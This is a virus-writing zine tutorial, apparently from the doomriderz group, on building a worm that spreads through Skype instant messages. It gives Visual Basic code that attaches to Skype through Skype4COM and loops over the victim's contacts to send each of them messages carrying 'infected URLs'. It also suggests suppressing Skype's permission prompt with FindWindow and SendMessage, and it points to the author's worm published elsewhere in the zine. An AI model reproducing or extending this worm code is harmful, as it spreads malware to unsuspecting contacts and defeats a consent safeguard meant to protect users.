1) Introduction

    This is my first tutorial for the doomriderz, I will try to explain it in the better
    way :).
    But remember my first language is not english but italian :).
    Skype is a very popular VoIP client, you can talk with all the world with few money and
    in every moment ( you need only a PC + skype ).
    This tutorial will explain you how to use the classical IM component of this program.
    The challenge is to create a full working VoIP worm :)






2) Code

    There are 2 main ways to access to skype:
    a) Direct API
    2) Skype4COM interface
    The option "a" is not so simple, I used it in my first C worm released in EOF#1 and I took
    much time to implement it.
    If you are interested look at the zine: http://vx.netlux.org/vx.php?id=ze02
    The option "b" is the better than "a": it is very simple and you can use skype with few
    lines of code.
    Ok no other words, go to code :)
    This is a vb code snippet that shows all:

    1 - Set skype_fd = CreateObject("Skype4COM.Skype")
    2 - skype_fd.Client.Start
    3 - skype_fd.Attach

    Line 1: instance a Skype4COM object (in theory you could do this in every language that can access COM, asm too :) )
    Line 2: boot up skype
    Line 3: attach to skype client

    Ok now we are connected to skype, ah I was forgetting, skype will prompt user to allow proggy
    to access skype ... an exercise for the reader, bypass skype warning (FindWindow() & SendMessage() should be enough).
    The next step is to read contact list and send IM messages (containing infected URLs):

    Line 4: For Each user In skype_fd.Friends
    Line 5: skype_fd.SendMessage user.Handle, "your message here"
    Line 6: Next

    Line 4: this for loop is to iterate in contact list ( current buddy in user var )
    Line 5: Use the SendMessage() method to send the IM message
    Line 6: the end of the loop :)

    It's amazing, with those few lines of code you can use skype for your own aim.
    I used vb for an example worm (M$ products can destroy your brain!) but every other language
    could be used like js, or some .net languages.
    For a nasty example of all this shit, look at my utopia vb worm in this zine
